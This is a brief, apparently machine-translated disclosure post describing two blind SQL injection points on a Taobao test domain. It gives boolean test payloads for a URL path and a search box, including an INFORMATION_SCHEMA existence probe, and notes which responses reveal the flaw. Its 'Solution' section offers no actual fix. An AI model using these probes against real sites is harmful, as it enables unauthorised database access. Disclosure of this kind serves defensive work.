Taobao tests blind injection and repair of two locations

Injection Point 1:
Http://www.taobaotest.com/books/33 and 1 = 1
Http://www.taobaotest.com/books/33 and 1 = 2
You can see
"Next Journal:" determine if it is normal.
Or enter the correct and wrong statements at random.
The wrong statement will prompt: "Sorry, the page you want to visit seems to have a problem. Please select another link to continue browsing this website"
 
Injection Point 2:
Http://www.taobaotest.com/books
You can query by name:
 
Www.2cto.com
It is in the search box.
Input:
% 'And 1 = 1 and' % '='
5 records are returned.
% 'And 1 = 2 and' % '='
Returns 0 records.
 
Or enter an SQL statement to test
% 'And exists (select * from INFORMATION_SCHEMA.TABLES) and' % '='
 
I won't go into depth here.
Solution:
Understand

Author: Jannock